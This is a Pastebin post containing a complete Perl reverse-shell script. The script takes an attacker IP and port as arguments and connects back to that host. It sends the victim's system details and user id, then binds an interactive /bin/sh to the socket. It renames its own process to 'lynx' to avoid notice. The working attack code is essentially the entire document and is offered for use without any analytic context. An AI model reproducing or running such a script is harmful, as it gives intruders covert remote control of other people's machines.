Advertisement
mathio3

reverse connection perl

Sep 6th, 2018
224
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.59 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #usage: perl file ip_attacker port_attacker
  3. #mathio.dz -_-
  4. use Socket;
  5. $cmd= "lynx";
  6. $system= 'echo "`uname -a`";echo "`id`";/bin/sh';
  7. $0=$cmd;
  8. $target=$ARGV[0];
  9. $port=$ARGV[1];
  10. $iaddr=inet_aton($target) || die("Error: $!\n");
  11. $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
  12. $proto=getprotobyname('tcp');
  13. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
  14. connect(SOCKET, $paddr) || die("Error: $!\n");
  15. open(STDIN, ">&SOCKET");
  16. open(STDOUT, ">&SOCKET");
  17. open(STDERR, ">&SOCKET");
  18. system($system);
  19. close(STDIN);
  20. close(STDOUT);
  21. close(STDERR);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement